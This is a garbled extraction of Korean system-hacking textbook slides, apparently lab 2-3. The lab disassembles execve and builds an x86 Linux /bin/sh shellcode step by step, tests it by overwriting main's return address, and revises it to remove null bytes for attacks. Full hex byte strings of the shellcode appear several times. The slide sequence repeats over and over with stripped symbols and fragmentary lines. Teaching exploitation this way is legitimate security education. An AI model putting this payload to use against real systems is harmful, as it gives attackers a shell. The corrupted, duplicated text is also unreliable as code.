EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 83: 80×86  시스템에 대한 이해

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 84: 80×86  시스템에 대한 이해

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

